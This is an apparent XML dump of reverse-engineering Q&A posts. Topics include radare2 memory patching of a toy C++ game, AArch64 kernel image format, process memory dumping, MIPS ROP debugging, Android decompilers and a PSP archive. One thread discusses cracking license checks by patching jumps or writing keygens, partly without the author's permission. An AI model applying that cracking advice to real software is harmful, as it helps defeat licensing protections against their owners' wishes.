0x565f1ce8      89f3           mov ebx, esi&#xA;|           0x565f1cea      e821f5ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|           0x565f1cef      83c410         add esp, 0x10&#xA;|           0x565f1cf2      89f8           mov eax, edi&#xA;|           0x565f1cf4      8b4de4         mov ecx, dword [local_1ch]&#xA;|           0x565f1cf7      65330d140000.  xor ecx, dword gs:[0x14]&#xA;|       ,=&amp;lt; 0x565f1cfe      0f84a0000000   je 0x565f1da4&#xA;|      ,==&amp;lt; 0x565f1d04      e996000000     jmp 0x565f1d9f&#xA;..&#xA;|      ||   ; CODE XREF from main (0x565f1d04)&#xA;|      `--&amp;gt; 0x565f1d9f      e87c070000     call sym.__stack_chk_fail_local ; void __stack_chk_fail(void)&#xA;|       `-&amp;gt; 0x565f1da4      8d65f0         lea esp, [local_10h]&#xA;|           0x565f1da7      59             pop ecx&#xA;|           0x565f1da8      5b             pop ebx&#xA;|           0x565f1da9      5e             pop esi&#xA;|           0x565f1daa      5f             pop edi&#xA;|           0x565f1dab      5d             pop ebp&#xA;|           0x565f1dac      8d61fc         lea esp, [ecx - 4]&#xA;\           0x565f1daf      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really appreciate you taking the time, any input is welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATED with .cpp source&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;void fight(int pDmg, int &amp;amp;gold, int &amp;amp;mHp) {&#xA;  bool mDead = false;&#xA;  cout &amp;lt;&amp;lt; &quot;You approach the huge beast slowly...&quot; &amp;lt;&amp;lt; endl;&#xA;  cout &amp;lt;&amp;lt; &quot;Drawing your sword and gitting your teeth you charge!&quot; &amp;lt;&amp;lt; endl;&#xA;&#xA;  for(int i = 0; i &amp;lt; 5; i++) {&#xA;    cout &amp;lt;&amp;lt; &quot;You deal &quot; + to_string(pDmg) + &quot; damage!&quot; &amp;lt;&amp;lt; endl;&#xA;    mHp -= pDmg;&#xA;    cout &amp;lt;&amp;lt; &quot;The monster has &quot; + to_string(mHp) + &quot; remaining health!&quot; &amp;lt;&amp;lt; endl;&#xA;    if(mHp &amp;lt;= 0) {&#xA;      mDead = true;&#xA;      break;&#xA;    }&#xA;  }&#xA;&#xA;  if(mDead) {&#xA;    cout &amp;lt;&amp;lt; &quot;You have defeated the beast!&quot; &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &quot;You loot his corpse to find 10 gold&quot; &amp;lt;&amp;lt; endl;&#xA;    gold += 10;&#xA;    cout &amp;lt;&amp;lt; &quot;You now have &quot; + to_string(gold) + &quot; gold!&quot; &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &quot;Great job! Game Over...&quot; &amp;lt;&amp;lt; endl;&#xA;  } else {&#xA;    cout &amp;lt;&amp;lt; &quot;The monster swings out and hits you with his gigantic club&quot; &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &quot;You have been knocked out and failed to protect the city!&quot; &amp;lt;&amp;lt; endl;&#xA;  }&#xA;}&#xA;&#xA;int main(int argc, char*argv[]) {&#xA;    string name = &quot;Hero&quot;;&#xA;  string choice = &quot;&quot;;&#xA;  int playerHp = 100;&#xA;  int playerDmg = 5;&#xA;  int gold = 10;&#xA;  int monsterHp = 10;&#xA;&#xA;  cout &amp;lt;&amp;lt; &quot;Enter your name brave hero: &quot;;&#xA;  cin &amp;gt;&amp;gt; name;&#xA;  cout &amp;lt;&amp;lt; &quot;Welcome &quot; + name + &quot;, we need your help! There is a big monster terrorizing the city, are you up for the challenge? (y or n) &quot;;&#xA;  cin &amp;gt;&amp;gt; choice;&#xA;&#xA;  if(choice == &quot;y&quot; || choice == &quot;Y&quot;) {&#xA;    fight(playerDmg, gold, monsterHp);&#xA;  } else if(choice == &quot;n&quot; || choice == &quot;N&quot;) {&#xA;    cout &amp;lt;&amp;lt; &quot;I suppose we are doomed!!!!!!!!&quot; &amp;lt;&amp;lt; endl;&#xA;  } else {&#xA;    cout &amp;lt;&amp;lt; &quot;Well at least you could have given me a respectable answer!&quot; &amp;lt;&amp;lt; endl;&#xA;  }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25281" LastEditorUserId="245" LastEditDate="2018-11-07T08:03:45.063" LastActivityDate="2018-11-07T08:03:45.063" Title="How to find a memory address of variable?" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19018" PostTypeId="2" ParentId="19010" CreationDate="2018-08-08T20:51:50.963" Score="3" Body="&lt;p&gt;The overall format of an AArch64 Linux kernel can be found in &lt;a href=&quot;https://www.kernel.org/doc/Documentation/arm64/booting.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kernel.org/doc/Documentation/arm64/booting.txt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of particular note (emphasis mine):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The AArch64 kernel &lt;strong&gt;does not currently provide a decompressor&lt;/strong&gt; and&#xA;therefore requires decompression (gzip etc.) to be performed by the&#xA;boot loader if a compressed Image target (e.g. Image.gz) is used.  For&#xA;bootloaders that do not implement this requirement, the uncompressed&#xA;Image target is available instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and indeed, I downloaded a &lt;a href=&quot;https://releases.linaro.org/archive/14.09/openembedded/aarch64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sample image from Linaro&lt;/a&gt; and its header matches the structure in section 4, i.e. the image is uncompressed.&lt;/p&gt;&#xA;&lt;p&gt;hex dump of the header:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000000000: 4D 5A 00 91 57 00 00 14 │ 00 00 08 00 00 00 00 00  MZ.............&#xA;0000000010: 00 70 A8 00 00 00 00 00 │ 00 00 00 00 00 00 00 00  ...............&#xA;0000000020: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00  ...............&#xA;0000000030: 00 00 00 00 00 00 00 00 │ 41 52 4D 64 40 00 00 00  ........ARMd@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see the &lt;code&gt;magic&lt;/code&gt; field at offset 0x38 (&lt;code&gt;0x644d5241&lt;/code&gt; or &amp;quot;ARM\x64&amp;quot; as text).&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;MS-DOS executable&amp;quot; text shown by &lt;code&gt;file&lt;/code&gt; is a red herring: the overall image format is actually Portable Executable (PE), which has to start with the &lt;code&gt;MZ&lt;/code&gt; signature. Linux kernel employs a few tricks to appear like a valid PE file so that it can be &lt;a href=&quot;https://github.com/torvalds/linux/commit/3c7f255039a2ad6ee1e3890505caf0d029b22e29&quot; rel=&quot;nofollow noreferrer&quot;&gt;booted by a UEFI-compliant firmware&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is no &amp;quot;elf bibnary&amp;quot; to extract because the kernel has been linked into the PE file format and does not contain any ELF headers anymore. IF you want to disassemble it, just disassemble it as raw AArch64 binary (e.g. pass &lt;code&gt;-bbinary -maarch64&lt;/code&gt; flags to an ARM &lt;code&gt;objdump&lt;/code&gt;) - the second instruction will jump to the real entrypoint:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000 4D 5A 00 91    ADD             X13, X18, #0x16&#xA;0004 57 00 00 14    B               stext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(see &lt;code&gt;arch/arm64/kernel/head.S&lt;/code&gt; in kernel sources for more details).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="33790" LastEditDate="2020-07-10T15:16:50.490" LastActivityDate="2020-07-10T15:16:50.490" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19019" PostTypeId="2" ParentId="19017" CreationDate="2018-08-09T01:34:37.913" Score="1" Body="&lt;p&gt;With some outside tools, &lt;a href=&quot;https://godbolt.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org&lt;/a&gt;, I was able to get this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable was located next to the other defined variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x565f1ade      c7857cffffff.  mov dword [local_84h], 0x64 &#xA;; 'd' ; 100&#xA;|           0x565f1ae8      c74580050000.  mov dword [local_80h], 5&#xA;|           0x565f1aef      c78574ffffff.  mov dword [local_8ch], 0xa&#xA;|           0x565f1af9      c78578ffffff.  mov dword [local_88h], 0xa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there I was able to inspect the address with &lt;code&gt;ps @ 0x565f1af9&lt;/code&gt; and then write the new value with &lt;code&gt;wx 64 @ 0x565f1af9 +6&lt;/code&gt; (+6 since there was an offset to account for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty awesome learning experience! Hope someone finds this helpful.&lt;/p&gt;&#xA;" OwnerUserId="25281" LastActivityDate="2018-08-09T01:34:37.913" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19021" PostTypeId="2" ParentId="19007" CreationDate="2018-08-09T09:11:09.700" Score="5" Body="&lt;p&gt;You can use &lt;a href=&quot;http://man7.org/linux/man-pages/man1/gcore.1.html&quot; rel=&quot;noreferrer&quot;&gt;gcore&lt;/a&gt; utility to generate the &lt;a href=&quot;https://en.wikipedia.org/wiki/Core_dump&quot; rel=&quot;noreferrer&quot;&gt;core dump&lt;/a&gt; which can be examined with &lt;a href=&quot;https://linux.die.net/man/1/gdb&quot; rel=&quot;noreferrer&quot;&gt;gdb debugger&lt;/a&gt; (or &lt;a href=&quot;https://linux.die.net/man/1/strings&quot; rel=&quot;noreferrer&quot;&gt;strings&lt;/a&gt; utility) and should contain the full memory image.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-08-09T09:11:09.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19022" PostTypeId="1" CreationDate="2018-08-09T09:31:03.767" Score="4" ViewCount="628" Body="&lt;p&gt;I'm trying to debug a remote device using gdbserver and IDA Pro.&#xA;I'm attached to the correct PID and I'm able to step through instructions until the point where I redirect &lt;code&gt;$pc&lt;/code&gt; to my ROP chain. At the &lt;code&gt;jalr&lt;/code&gt; I get a &lt;code&gt;SIGTRAP&lt;/code&gt; and the process crashes.&#xA;My goal is to be able to trace through the shellcode outside of the loaded binary scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible with IDA Pro or do I need gdb on my client suitable for MIPS? if so where can I find a tutorial/explanation how to do so?&lt;/p&gt;&#xA;" OwnerUserId="25287" LastEditorUserId="245" LastEditDate="2018-08-10T20:15:30.613" LastActivityDate="2023-03-26T06:02:00.213" Title="Can't trace MIPS embedded device remotely" Tags="|ida|gdb|embedded|mips|rop|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19023" PostTypeId="2" ParentId="18967" CreationDate="2018-08-09T10:26:24.153" Score="-1" Body="&lt;p&gt;It might help if you use the same architecture as the target process...&#xA;But that doesn't fully explain why the other non x64 FLIRT signature doesn't rename stuff even if the window says it found X refs &lt;/p&gt;&#xA;" OwnerUserId="19684" LastActivityDate="2018-08-09T10:26:24.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19024" PostTypeId="1" CreationDate="2018-08-09T11:00:29.077" Score="1" ViewCount="1658" Body="&lt;p&gt;My goal is to see what a native method &lt;code&gt;m&lt;/code&gt; does. It doesn't have a direct counterpart in the &lt;code&gt;so&lt;/code&gt; file, but I've found the &lt;code&gt;JNI_OnLoad&lt;/code&gt; function's ARM assembly code. It starts with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AAAAAAAA &amp;lt;JNI_OnLoad@@Base&amp;gt;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;AAAAAAAA&lt;/code&gt; is some hex number. (Correct me if I'm wrong.) I want to find calls to the &lt;code&gt;RegisterNatives&lt;/code&gt; function. I've seen some function calls, like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl AAAA &amp;lt;JNI_OnLoad@@Base+0xBB&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;BB&lt;/code&gt; are hex numbers. (Are these function calls indeed?) I can't determine which, if any, are calls to &lt;code&gt;RegisterNatives&lt;/code&gt;. How do I go about finding one, or determine that none exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, it's possible that &lt;code&gt;JNI_OnLoad&lt;/code&gt; calls &lt;code&gt;func1&lt;/code&gt;, and &lt;code&gt;func1&lt;/code&gt; calls &lt;code&gt;func2&lt;/code&gt;, and so on, and only at the very end &lt;code&gt;RegisterNatives&lt;/code&gt; gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have obtained the C code, using the &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper Disassembler&lt;/a&gt;. Is there something distinctive about the &lt;code&gt;RegisterNatives&lt;/code&gt; function? I find a tree of functions to explore.&lt;/p&gt;&#xA;" OwnerUserId="25229" LastEditorUserId="25229" LastEditDate="2018-08-11T06:46:48.447" LastActivityDate="2018-08-13T16:15:45.940" Title="Finding RegisterNatives function calls in JNI_OnLoad's assembly code" Tags="|arm|functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19025" PostTypeId="2" ParentId="4624" CreationDate="2018-08-09T15:29:38.050" Score="6" Body="&lt;p&gt;You can also reverse-engineer APK files &lt;strong&gt;directly&lt;/strong&gt; on an android device.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Java part: &lt;a href=&quot;http://26utm_medium%3Dorganic%26utm_term%3Dshow+java&quot; rel=&quot;noreferrer&quot;&gt;Show Java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;.so files: &lt;a href=&quot;https://github.com/KYHSGeekCode/ARMDisasm/releases&quot; rel=&quot;noreferrer&quot;&gt;Android disassembler&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Disclaimer: I 'm the developer)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Version 1.4.2 &lt;a href=&quot;https://github.com/KYHSGeekCode/Android-Disassembler/releases&quot; rel=&quot;noreferrer&quot;&gt;release&lt;/a&gt;.&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;Android-Disassembler&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Disassemble &lt;strong&gt;ANY&lt;/strong&gt; files including android shared libraries (aka .so files) (NDK, JNI), windows PE files(EXE, DLLs, SYSs, etc..), linux executables, object files, ANY files you want like pictures, audios, etc(for fun) entirely on Android. Capstone-based disassembler application on android.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Features&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shows details of elf files.&lt;/li&gt;&#xA;&lt;li&gt;Shows symbol table(functions or objects' ,... names) of elf files.&lt;/li&gt;&#xA;&lt;li&gt;Disassembles the code sections.&lt;/li&gt;&#xA;&lt;li&gt;Has various export options of the disassembly. (Reloadable raw file, compilable txt file, analytic text files, json, and  reloadable database)&lt;/li&gt;&#xA;&lt;li&gt;Supports projects.&lt;/li&gt;&#xA;&lt;li&gt;Supports &lt;strong&gt;directly launching from file browsers&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Supports many ABIs(arm,x86,x64,MIPS,PowerPC,...)&lt;/li&gt;&#xA;&lt;li&gt;Jump to address by symbols' names, or a hex address.&lt;/li&gt;&#xA;&lt;li&gt;Syntax colorizing.&lt;/li&gt;&#xA;&lt;li&gt;Support PE and other bin formats.&lt;/li&gt;&#xA;&lt;li&gt;Sort symbols if needed.&lt;/li&gt;&#xA;&lt;li&gt;No need to press &lt;code&gt;Disassemble&lt;/code&gt; button!&lt;/li&gt;&#xA;&lt;li&gt;Colorize PUSH/POP instructions.&lt;/li&gt;&#xA;&lt;li&gt;Colorize ARM arch instructions better.&lt;/li&gt;&#xA;&lt;li&gt;Added &lt;strong&gt;Follow Jump&lt;/strong&gt; menu for jump instructions.(&lt;em&gt;With BackStack&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Can override auto parse setup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;What's new&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can copy an instruction to the clipboard.&lt;/li&gt;&#xA;&lt;li&gt;It now parses &lt;em&gt;IAT, EAT&lt;/em&gt; of PE headers.&lt;/li&gt;&#xA;&lt;li&gt;Fixed bugs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Materials about assemblies&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.co.kr/url?sa=t&amp;amp;source=web&amp;amp;rct=j&amp;amp;url=http://arantxa.ii.uam.es/~gdrivera/sed/docs/ARMBook.pdf&amp;amp;ved=2ahUKEwjagIuEzOTeAhXHvLwKHeWcCnYQFjAAegQIBBAB&amp;amp;usg=AOvVaw2WWago0qaeDy06z0pgVR3n&quot; rel=&quot;noreferrer&quot;&gt;ARM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/url?q=https://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-dehaas/bh-eu-04-dehaas.pdf&amp;amp;sa=U&amp;amp;ved=2ahUKEwjzg-OCg-3eAhUFT7wKHfXlABIQFjACegQIChAB&amp;amp;usg=AOvVaw0JFoqyycNHnqauD5yO6jIj&quot; rel=&quot;noreferrer&quot;&gt;ARM BlackHat&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.m.wikibooks.org/wiki/X86_Assembly&quot; rel=&quot;noreferrer&quot;&gt;Intel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/KYHSGeekCode/Android-Disassembler/wiki&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Open Source&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This app used&#xA; - &lt;a href=&quot;https://github.com/aquynh/capstone&quot; rel=&quot;noreferrer&quot;&gt;Capstone&lt;/a&gt; &#xA; - &lt;a href=&quot;https://github.com/codekidX/storage-chooser&quot; rel=&quot;noreferrer&quot;&gt;Storage-Chooser&lt;/a&gt;&#xA; - &lt;a href=&quot;https://github.com/skydoves/ColorPickerView&quot; rel=&quot;noreferrer&quot;&gt;Colorpickerview&lt;/a&gt;&#xA; - &lt;a href=&quot;https://github.com/jawi/java-binutils&quot; rel=&quot;noreferrer&quot;&gt;Java-binutils&lt;/a&gt;&#xA; - &lt;a href=&quot;https://github.com/kichik/pecoff4j&quot; rel=&quot;noreferrer&quot;&gt;PECOFF4J&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Thanks&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/20124/23870&quot;&gt;https://reverseengineering.stackexchange.com/a/20124/23870&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;XRefs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18203/23870&quot;&gt;https://reverseengineering.stackexchange.com/a/18203/23870&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18203/23870&quot;&gt;Related link(RE thread)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23870" LastEditorUserId="23870" LastEditDate="2019-01-02T01:54:42.340" LastActivityDate="2019-01-02T01:54:42.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19026" PostTypeId="2" ParentId="19007" CreationDate="2018-08-09T17:33:17.927" Score="2" Body="&lt;p&gt;Another way to read a process's memory in Linux isto read the psaudo-file &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/mem&lt;/code&gt;, which provides raw access to the memory space, as seen by the process, at offsets retrieved from &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/maps&lt;/code&gt;, which provides information about how the memory is laid out.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-09T17:33:17.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19032" PostTypeId="2" ParentId="18170" CreationDate="2018-08-11T09:24:11.473" Score="29" Body="&lt;p&gt;There are many tools, some are more low-level and some build on top of the low-level tools to make nicer and more complete tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my favorites:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;JADX&lt;/strong&gt; - GUI (and Command line) to produce Java source code from Android Dex and Apk files &lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/skylot/jadx&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Android MultiTool&lt;/strong&gt; - decompile/recompile and sign applications + jar framework files &lt;a href=&quot;https://forum.xda-developers.com/showthread.php?t=2326604&quot; rel=&quot;noreferrer&quot;&gt;https://forum.xda-developers.com/showthread.php?t=2326604&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Apktool&lt;/strong&gt; - Cmd tool to decompile/recompile applications and there resources. Among other things wraps Samli/Baksmali &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot; rel=&quot;noreferrer&quot;&gt;https://ibotpeaches.github.io/Apktool/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Smali/Baksmali&lt;/strong&gt; - Convert binary &lt;code&gt;.dex&lt;/code&gt; files to textual &lt;code&gt;.smali&lt;/code&gt; classes. Can be used in after unzipping the APK manually. More here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8044/repackaging-apk-file-using-baksmali-and-smali/16514&quot;&gt;Repackaging APK file using baksmali and smali&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;JEB&lt;/strong&gt; - Professional tool for reversing android (and many other) applications &lt;a href=&quot;https://www.pnfsoftware.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.pnfsoftware.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also look promising:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;APK Studio&lt;/strong&gt; - IDE for reverse-engineering (decompiling/editing) &amp;amp; recompiling of Android applications &lt;a href=&quot;https://forum.xda-developers.com/showthread.php?t=2493107&quot; rel=&quot;noreferrer&quot;&gt;https://forum.xda-developers.com/showthread.php?t=2493107&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit November 2019&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bytecode Viewer&lt;/strong&gt; - A user friendly Java reverse engineering suite, similar to JADX. &lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;noreferrer&quot;&gt;https://bytecodeviewer.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21881" LastEditorUserId="21881" LastEditDate="2019-11-24T09:45:55.243" LastActivityDate="2019-11-24T09:45:55.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19033" PostTypeId="1" CreationDate="2018-08-11T10:59:04.803" Score="0" ViewCount="686" Body="&lt;p&gt;I am a newbie reverse engineer.&#xA;I was wondering: assuming I want to crack a program (With the permission of the author of course) and I have detected the Assembly where the program begins to check the authenticity of the key I entered or the license I provided. When do I know I simply need to skip the internal jumps or patch memory locations versus knowing when to create a keygen?&#xA;I'm looking for some guidelines or some rules to follow maybe? because I'm afraid sometimes I'm wasting time on attempting to bypass jumps or create complex inline patches hoping that one of them would work versus putting more effort to simply creating a keygen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any answer would be appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="22721" LastActivityDate="2018-08-11T14:38:46.357" Title="When to create a keygen versus when to bypass the security jumps" Tags="|ida|windows|binary-analysis|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19034" PostTypeId="2" ParentId="19033" CreationDate="2018-08-11T14:38:46.357" Score="2" Body="&lt;p&gt;You need to know what you want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Training and learning as main goal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case, the &quot;wasting time&quot; argument is irrelevant. When reversing, you always &quot;waste time&quot;, as there are no straightforward solutions, except perhaps for trivial and therefore little interesting cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, you'll need a lot of time, you'll often find yourself in a dead end until the real clue is found. It is never &quot;wasted time&quot; as it will give you experience. Where the &quot;real clue&quot; might very well be that single patch. Try to find out the logic of the protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Cracking something as quickly as possible&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case the main goal is not learning (although this will be unavoidable), but removing a protection with the least possible effort. In that case, you'll probably not have the &quot;permission of the author&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for all available sources. Ask people, scan the web, etc. etc.  You'll find out that non-trivial software often has very sophisticated protections, taking days or weeks to understand and remove, even if you already have experience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will always learn, and you'll find that the gained experience almost certainly helps you in your next reversing project. By the time you'll develop a &quot;feeling&quot; where it is useful to look in a software and where it's not (i.e. what you call &quot;waste of time&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Never Forget&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But never forget a main principle when reversing unknown software: protect yourself. Do it in a virtual machine, or if that is not possible (e.g. due to anti-VM measures) do it in a machine which you don't need for your &quot;normal&quot; productive activities, possibly disconnected from the internet. Your sleep will be much more quiet.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-11T14:38:46.357" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19035" PostTypeId="1" CreationDate="2018-08-11T16:17:15.343" Score="2" ViewCount="355" Body="&lt;p&gt;I have been attempting to reverse engineer a format for a visual novel psp game ('Mirai Nikki RE: WRITE - 13 Ninme No Nikki Shoyuusha') and I have come to the understanding that the format works as a type of archive by looking at the boot.elf file of the game. From this decoded boot.elf file I learnt that music is stored in the format at3 (which is atrac3) and sound effects as fsb (fmod sound bank). There are multiple 'MIG' files which I believe are actually GIM files which is a format used by the PSP for images (these are likely the character portraits, backgrounds and ui). The string YKLZ is also repeated throughout the file and seems to act as a sort of file or directory end. The header T2FP also occurs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After learning this I have hit a wall as I am unsure of how to progress in getting the files as I do not know how it is encrypted or where the files start and end. If anyone can tell me how I could go about reversing the decryption function in an emulator or can provide any help about the file it would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/sa38i7asc699glv/ULJM05565.BIN?dl=0&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Decrypted boot.elf&quot;&gt;Decrypted boot.elf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/i2dxvjfo45dalfx/res.ptd?dl=0&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;The game archive file&quot;&gt;The game archive file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The hex code 87 4C 74 68 also occurs multiple times throughout the file.&lt;/p&gt;&#xA;" OwnerUserId="25310" LastEditorUserId="245" LastEditDate="2018-08-11T16:41:32.520" LastActivityDate="2018-08-11T16:41:32.520" Title="How should I got about working out the format for this psp game?" Tags="|file-format|encryption|decompile|emulation|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
